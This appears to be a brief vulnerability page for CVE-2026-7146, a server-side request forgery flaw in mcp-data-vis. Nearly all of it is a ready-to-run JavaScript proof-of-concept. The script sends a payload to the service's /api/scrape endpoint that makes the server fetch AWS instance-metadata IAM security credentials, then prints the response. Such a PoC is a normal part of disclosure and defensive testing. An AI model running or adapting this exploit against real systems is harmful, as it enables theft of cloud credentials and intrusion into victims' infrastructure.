CVE-2026-7146 mcp-data-vis 服务器端请求伪造漏洞

/* * PoC for CVE-2026-7146 (SSRF in mcp-data-vis) * This script demonstrates how to trigger the SSRF by sending a malicious URL * to the vulnerable endpoint. */ const axios = require('axios'); // The target URL of the vulnerable mcp-data-vis instance const TARGET_URL = 'http://<victim-host>:<port>/api/scrape'; // Malicious internal URL (e.g., AWS metadata service) const MALICIOUS_PAYLOAD = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }; async function exploit() { try { console.log(`[+] Sending SSRF payload to ${TARGET_URL}...`); const response = await axios.post(TARGET_URL, MALICIOUS_PAYLOAD); console.log('[+] Response received from internal server:'); console.log(response.data); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploit();